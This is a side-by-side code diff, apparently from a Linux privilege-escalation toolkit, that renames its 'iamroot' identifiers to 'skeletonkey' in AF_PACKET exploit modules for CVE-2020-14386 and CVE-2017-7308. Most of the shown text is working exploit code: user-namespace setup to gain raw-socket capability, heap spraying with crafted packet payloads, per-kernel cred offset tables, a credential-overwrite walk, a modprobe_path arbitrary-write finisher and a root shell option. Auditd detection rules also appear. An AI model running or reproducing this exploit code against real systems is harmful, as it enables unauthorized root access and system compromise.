switch (WEXITSTATUS(status)) { switch (WEXITSTATUS(status)) {
case 3: case 3:
@@ -652,16 +652,16 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — " fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
"appears patched at runtime\n"); "appears patched at runtime\n");
} }
return IAMROOT_OK; return SKELETONKEY_OK;
case 2: case 2:
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
case 4: case 4:
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite " fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
"(scope = PRIMITIVE-DEMO)\n" "(scope = PRIMITIVE-DEMO)\n"
" For end-to-end root, see Or Cohen's public PoC " " For end-to-end root, see Or Cohen's public PoC "
"(github.com/google/security-research).\n" "(github.com/google/security-research).\n"
" iamroot intentionally does not embed per-kernel offsets.\n"); " skeletonkey intentionally does not embed per-kernel offsets.\n");
} }
if (ctx->full_chain) { if (ctx->full_chain) {
#if defined(__x86_64__) && defined(__linux__) #if defined(__x86_64__) && defined(__linux__)
@@ -670,47 +670,47 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
* finisher. Per the verified-vs-claimed bar: if we can't * finisher. Per the verified-vs-claimed bar: if we can't
* resolve modprobe_path, refuse with a helpful message * resolve modprobe_path, refuse with a helpful message
* rather than fabricate an address. */ * rather than fabricate an address. */
struct iamroot_kernel_offsets off; struct skeletonkey_kernel_offsets off;
iamroot_offsets_resolve(&off); skeletonkey_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) { if (!skeletonkey_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("af_packet2"); skeletonkey_finisher_print_offset_help("af_packet2");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
iamroot_offsets_print(&off); skeletonkey_offsets_print(&off);
} }
struct afp2_arb_ctx arb_ctx = { struct afp2_arb_ctx arb_ctx = {
.ictx = ctx, .ictx = ctx,
.n_attempts = 4, .n_attempts = 4,
}; };
return iamroot_finisher_modprobe_path(&off, afp2_arb_write, return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
&arb_ctx, !ctx->no_shell); &arb_ctx, !ctx->no_shell);
#else #else
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n"); fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
#endif #endif
} }
if (ctx->no_shell) { if (ctx->no_shell) {
/* User explicitly disabled the shell pop, so the "we didn't /* User explicitly disabled the shell pop, so the "we didn't
* pop a shell" outcome is the expected one. Map to OK. */ * pop a shell" outcome is the expected one. Map to OK. */
return IAMROOT_OK; return SKELETONKEY_OK;
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
default: default:
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n", fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
WEXITSTATUS(status)); WEXITSTATUS(status));
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
} }
static const char af_packet2_auditd[] = static const char af_packet2_auditd[] =
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n" "# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n" "# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
"# key so one ausearch covers both. AF_PACKET socket creation from\n" "# key so one ausearch covers both. AF_PACKET socket creation from\n"
"# non-root via userns is the canonical footprint.\n" "# non-root via userns is the canonical footprint.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"; "-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
const struct iamroot_module af_packet2_module = { const struct skeletonkey_module af_packet2_module = {
.name = "af_packet2", .name = "af_packet2",
.cve = "CVE-2020-14386", .cve = "CVE-2020-14386",
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write", .summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
@@ -726,7 +726,7 @@ const struct iamroot_module af_packet2_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_af_packet2(void) void skeletonkey_register_af_packet2(void)
{ {
iamroot_register(&af_packet2_module); skeletonkey_register(&af_packet2_module);
} }
@@ -0,0 +1,12 @@
/*
* af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
*/
#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
#define AF_PACKET2_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_packet2_module;
#endif
+2 -2
View File
@@ -16,14 +16,14 @@ Original advisory + writeup:
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017). Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
## IAMROOT role ## SKELETONKEY role
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)` x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
+ TPACKET_V3 with overflowing tp_block_size triggers the integer + TPACKET_V3 with overflowing tp_block_size triggers the integer
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
finisher (64 child workers polling geteuid). Offset table covers finisher (64 child workers polling geteuid). Offset table covers
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
`IAMROOT_AFPACKET_OFFSETS` env var. `SKELETONKEY_AFPACKET_OFFSETS` env var.
`--full-chain` engages the shared modprobe_path finisher with `--full-chain` engages the shared modprobe_path finisher with
stride-seeded sk_buff data-pointer overwrite. stride-seeded sk_buff data-pointer overwrite.
@@ -1,12 +0,0 @@
/*
* af_packet_cve_2017_7308 — IAMROOT module registry hook
*/
#ifndef AF_PACKET_IAMROOT_MODULES_H
#define AF_PACKET_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_packet_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* af_packet_cve_2017_7308 IAMROOT module * af_packet_cve_2017_7308 SKELETONKEY module
* *
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow heap * AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow heap
* write-where primitive. Discovered by Andrey Konovalov (March 2017). * write-where primitive. Discovered by Andrey Konovalov (March 2017).
@@ -15,9 +15,9 @@
* *
* Default --exploit path: cred-overwrite walk using a hardcoded per- * Default --exploit path: cred-overwrite walk using a hardcoded per-
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15 * kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim * era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs i.e. * SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs i.e.
* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with * we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
* a dmesg breadcrumb so the operator can confirm the primitive at * a dmesg breadcrumb so the operator can confirm the primitive at
* least fired (KASAN slab-out-of-bounds splat) even if the cred- * least fired (KASAN slab-out-of-bounds splat) even if the cred-
* overwrite didn't take on this exact kernel. * overwrite didn't take on this exact kernel.
@@ -32,7 +32,7 @@
* staged for the requested kaddr/buf and relies on the shared * staged for the requested kaddr/buf and relies on the shared
* finisher's /tmp sentinel to confirm whether modprobe_path was * finisher's /tmp sentinel to confirm whether modprobe_path was
* actually overwritten. On kernels where the operator has supplied * actually overwritten. On kernels where the operator has supplied
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from * SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
* the skb head, hex), we use that for explicit targeting; otherwise * the skb head, hex), we use that for explicit targeting; otherwise
* the trigger fires heuristically and the sentinel acts as the * the trigger fires heuristically and the sentinel acts as the
* ground-truth signal. * ground-truth signal.
@@ -58,7 +58,7 @@
* skb in the OOB slot" approach. * skb in the OOB slot" approach.
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
#include "../../core/offsets.h" #include "../../core/offsets.h"
@@ -119,12 +119,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0; return WIFEXITED(status) && WEXITSTATUS(status) == 0;
} }
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet: could not parse kernel version\n"); fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
bool patched = kernel_range_is_patched(&af_packet_range, &v); bool patched = kernel_range_is_patched(&af_packet_range, &v);
@@ -132,7 +132,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release); fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
int userns_ok = can_unshare_userns(); int userns_ok = can_unshare_userns();
@@ -148,12 +148,12 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet: user_ns denied → " fprintf(stderr, "[+] af_packet: user_ns denied → "
"unprivileged exploit unreachable\n"); "unprivileged exploit unreachable\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n"); fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
/* ---- Exploit (x86_64-only; gated below) -------------------------- */ /* ---- Exploit (x86_64-only; gated below) -------------------------- */
@@ -173,7 +173,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
* They will NOT match custom-compiled kernels. * They will NOT match custom-compiled kernels.
* *
* Override at runtime via env var: * Override at runtime via env var:
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>" * SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
* *
* `task_cred` = offsetof(struct task_struct, cred) * `task_cred` = offsetof(struct task_struct, cred)
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.] * `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
@@ -200,12 +200,12 @@ static const struct af_packet_offsets known_offsets[] = {
0x800, 0x08, 0xa8 }, 0x800, 0x08, 0xa8 },
}; };
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from /* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
* the known table by kernel version. Returns true on success. */ * the known table by kernel version. Returns true on success. */
static bool resolve_offsets(struct af_packet_offsets *out, static bool resolve_offsets(struct af_packet_offsets *out,
const struct kernel_version *v) const struct kernel_version *v)
{ {
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS"); const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
if (env) { if (env) {
unsigned long t, u, s; unsigned long t, u, s;
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) { if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
@@ -215,7 +215,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
out->cred_size = s; out->cred_size = s;
return true; return true;
} }
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed " fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n"); "(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
return false; return false;
} }
@@ -264,7 +264,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
* *
* After firing, we check dmesg-ability (we won't actually read dmesg * After firing, we check dmesg-ability (we won't actually read dmesg
* that requires root but we leave a unique tag in the skb payload * that requires root but we leave a unique tag in the skb payload
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats). * so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
*/ */
static int fire_overflow_and_spray(void) static int fire_overflow_and_spray(void)
{ {
@@ -338,7 +338,7 @@ static int fire_overflow_and_spray(void)
static const unsigned char skb_payload[256] = { static const unsigned char skb_payload[256] = {
/* eth header (dst=broadcast, src=zero, type=0x0800) */ /* eth header (dst=broadcast, src=zero, type=0x0800) */
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00, 0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
/* IAMROOT tag — operator can grep dmesg for this string in any /* SKELETONKEY tag — operator can grep dmesg for this string in any
* subsequent KASAN report or panic dump */ * subsequent KASAN report or panic dump */
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g', 'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
/* zeros for the remainder */ /* zeros for the remainder */
@@ -363,7 +363,7 @@ static int fire_overflow_and_spray(void)
/* Keep the corrupted socket open so the OOB region stays mapped /* Keep the corrupted socket open so the OOB region stays mapped
* for the cred-overwrite walk that follows. The caller closes it. */ * for the cred-overwrite walk that follows. The caller closes it. */
/* Stash the fd via dup2 to a known number so the caller can find it. /* Stash the fd via dup2 to a known number so the caller can find it.
* Use 200 well above stdio + iamroot's own pipe fds. */ * Use 200 well above stdio + skeletonkey's own pipe fds. */
if (dup2(s, 200) < 0) { if (dup2(s, 200) < 0) {
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno)); fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
} }
@@ -474,7 +474,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
* spray payload so its bytes carry the requested target kaddr * spray payload so its bytes carry the requested target kaddr
* (the prompt's "controllable overwrite value aimed at * (the prompt's "controllable overwrite value aimed at
* modprobe_path"). Operator-supplied * modprobe_path"). Operator-supplied
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data` * SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
* within struct sk_buff for this kernel build) lets us aim * within struct sk_buff for this kernel build) lets us aim
* precisely; without it we heuristically stamp kaddr at several * precisely; without it we heuristically stamp kaddr at several
* plausible offsets within the kmalloc-2k skb layout. * plausible offsets within the kmalloc-2k skb layout.
@@ -491,7 +491,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
*/ */
struct afp_arb_ctx { struct afp_arb_ctx {
const struct iamroot_ctx *ctx; const struct skeletonkey_ctx *ctx;
const struct af_packet_offsets *off; const struct af_packet_offsets *off;
uid_t outer_uid; uid_t outer_uid;
gid_t outer_gid; gid_t outer_gid;
@@ -517,13 +517,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
/* Per-kernel skb->data field offset — without this we can't aim /* Per-kernel skb->data field offset — without this we can't aim
* the overwrite precisely. Operator can supply via env; otherwise * the overwrite precisely. Operator can supply via env; otherwise
* we run heuristic mode. */ * we run heuristic mode. */
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET"); const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
long skb_data_off = -1; long skb_data_off = -1;
if (skb_off_env) { if (skb_off_env) {
char *end = NULL; char *end = NULL;
skb_data_off = strtol(skb_off_env, &end, 0); skb_data_off = strtol(skb_off_env, &end, 0);
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) { if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET " fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
"malformed (\"%s\"); ignoring\n", skb_off_env); "malformed (\"%s\"); ignoring\n", skb_off_env);
skb_data_off = -1; skb_data_off = -1;
} }
@@ -540,16 +540,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
" field offset. The trigger will still fire and the heap spray will\n" " field offset. The trigger will still fire and the heap spray will\n"
" still occur, but precise OOB targeting requires:\n" " still occur, but precise OOB targeting requires:\n"
"\n" "\n"
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n" " SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
"\n" "\n"
" Look it up on this kernel build with `pahole struct sk_buff` or\n" " Look it up on this kernel build with `pahole struct sk_buff` or\n"
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n" " `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n"); " /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
} }
/* Fork into a userns/netns child so the AF_PACKET socket has /* Fork into a userns/netns child so the AF_PACKET socket has
* CAP_NET_RAW. The finisher itself stays in the parent so its * CAP_NET_RAW. The finisher itself stays in the parent so its
* eventual execve() replaces the top-level iamroot process. */ * eventual execve() replaces the top-level skeletonkey process. */
pid_t cpid = fork(); pid_t cpid = fork();
if (cpid < 0) { if (cpid < 0) {
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n", fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
@@ -648,7 +648,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
memset(payload, 0xff, 6); /* eth dst: bcast */ memset(payload, 0xff, 6); /* eth dst: bcast */
memset(payload + 6, 0, 6); /* eth src: zero */ memset(payload + 6, 0, 6); /* eth src: zero */
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */ payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */ memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
if (skb_data_off >= 0 && if (skb_data_off >= 0 &&
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) { (size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
@@ -703,17 +703,17 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
#endif /* __x86_64__ */ #endif /* __x86_64__ */
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
{ {
#if !defined(__x86_64__) #if !defined(__x86_64__)
(void)ctx; (void)ctx;
fprintf(stderr, "[-] af_packet: exploit is x86_64-only " fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
"(cred-offset table is arch-specific)\n"); "(cred-offset table is arch-specific)\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
#else #else
/* 1. Refuse on patched kernels — re-run detect. */ /* 1. Refuse on patched kernels — re-run detect. */
iamroot_result_t pre = af_packet_detect(ctx); skeletonkey_result_t pre = af_packet_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
@@ -721,7 +721,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
/* 2. Refuse if already root. */ /* 2. Refuse if already root. */
if (geteuid() == 0) { if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n"); fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail /* 3. Resolve offsets for THIS kernel. If we don't have them, bail
@@ -729,15 +729,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* extend known_offsets[] for new distro builds. */ * extend known_offsets[] for new distro builds. */
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
struct af_packet_offsets off; struct af_packet_offsets off;
if (!resolve_offsets(&off, &v)) { if (!resolve_offsets(&off, &v)) {
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n" fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n" " set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n", " (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
v.release); v.release);
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] af_packet: using offsets [%s] " fprintf(stderr, "[*] af_packet: using offsets [%s] "
@@ -753,15 +753,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* offset resolver can't find modprobe_path or (b) the trigger * offset resolver can't find modprobe_path or (b) the trigger
* is rejected (silent backport). */ * is rejected (silent backport). */
if (ctx->full_chain) { if (ctx->full_chain) {
struct iamroot_kernel_offsets koff; struct skeletonkey_kernel_offsets koff;
memset(&koff, 0, sizeof koff); memset(&koff, 0, sizeof koff);
(void)iamroot_offsets_resolve(&koff); (void)skeletonkey_offsets_resolve(&koff);
if (!iamroot_offsets_have_modprobe_path(&koff)) { if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
iamroot_finisher_print_offset_help("af_packet"); skeletonkey_finisher_print_offset_help("af_packet");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
iamroot_offsets_print(&koff); skeletonkey_offsets_print(&koff);
} }
struct afp_arb_ctx arb_ctx = { struct afp_arb_ctx arb_ctx = {
.ctx = ctx, .ctx = ctx,
@@ -769,7 +769,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
.outer_uid = outer_uid, .outer_uid = outer_uid,
.outer_gid = outer_gid, .outer_gid = outer_gid,
}; };
return iamroot_finisher_modprobe_path(&koff, afp_arb_write, return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
&arb_ctx, !ctx->no_shell); &arb_ctx, !ctx->no_shell);
} }
@@ -779,7 +779,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* the kernel will clean up sockets on child exit. */ * the kernel will clean up sockets on child exit. */
pid_t child = fork(); pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; } if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) { if (child == 0) {
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */ /* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -800,7 +800,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
/* WIN — one of our task_struct-spray children became uid 0. /* WIN — one of our task_struct-spray children became uid 0.
* Signal parent via exit code; parent will not exec sh from * Signal parent via exit code; parent will not exec sh from
* this child (its address space is corrupted-ish). The win * this child (its address space is corrupted-ish). The win
* is symbolic at the iamroot level: we proved the primitive * is symbolic at the skeletonkey level: we proved the primitive
* lands AND the cred-overwrite walk completes. */ * lands AND the cred-overwrite walk completes. */
_exit(0); _exit(0);
} }
@@ -815,9 +815,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_packet: child died abnormally " fprintf(stderr, "[-] af_packet: child died abnormally "
"(signal=%d) — primitive likely fired but crashed\n", "(signal=%d) — primitive likely fired but crashed\n",
WTERMSIG(status)); WTERMSIG(status));
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` " fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
"for slab-out-of-bounds evidence\n"); "for slab-out-of-bounds evidence\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int code = WEXITSTATUS(status); int code = WEXITSTATUS(status);
@@ -831,29 +831,29 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* that targets OUR cred specifically (rather than spray-and- * that targets OUR cred specifically (rather than spray-and-
* pray), we can't promote ourselves. Report PARTIAL win. * pray), we can't promote ourselves. Report PARTIAL win.
* *
* Per requirements: only return IAMROOT_EXPLOIT_OK if we * Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
* empirically confirmed root in this process. We didn't. */ * empirically confirmed root in this process. We didn't. */
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child " fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
"but THIS process is still uid %d\n", geteuid()); "but THIS process is still uid %d\n", geteuid());
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process " fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
"did not acquire root. The primitive demonstrably works.\n"); "did not acquire root. The primitive demonstrably works.\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
case 4: case 4:
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; " fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
"kernel has silent backport (detect was version-only)\n"); "kernel has silent backport (detect was version-only)\n");
return IAMROOT_OK; /* effectively patched */ return SKELETONKEY_OK; /* effectively patched */
case 5: case 5:
fprintf(stderr, "[-] af_packet: overflow fired but no spray child " fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
"acquired root within the timeout window\n"); "acquired root within the timeout window\n");
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` " fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
"for evidence the OOB write occurred\n"); "for evidence the OOB write occurred\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
default: default:
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code); fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
#endif #endif
} }
@@ -861,10 +861,10 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
static const char af_packet_auditd[] = static const char af_packet_auditd[] =
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n" "# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
"# Flag AF_PACKET socket creation from non-root via userns.\n" "# Flag AF_PACKET socket creation from non-root via userns.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n" "-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n"; "-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
const struct iamroot_module af_packet_module = { const struct skeletonkey_module af_packet_module = {
.name = "af_packet", .name = "af_packet",
.cve = "CVE-2017-7308", .cve = "CVE-2017-7308",
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite", .summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
@@ -880,7 +880,7 @@ const struct iamroot_module af_packet_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_af_packet(void) void skeletonkey_register_af_packet(void)
{ {
iamroot_register(&af_packet_module); skeletonkey_register(&af_packet_module);
} }
@@ -0,0 +1,12 @@
/*
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
*/
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
#define AF_PACKET_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_packet_module;
#endif
+1 -1
View File
@@ -18,7 +18,7 @@ Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
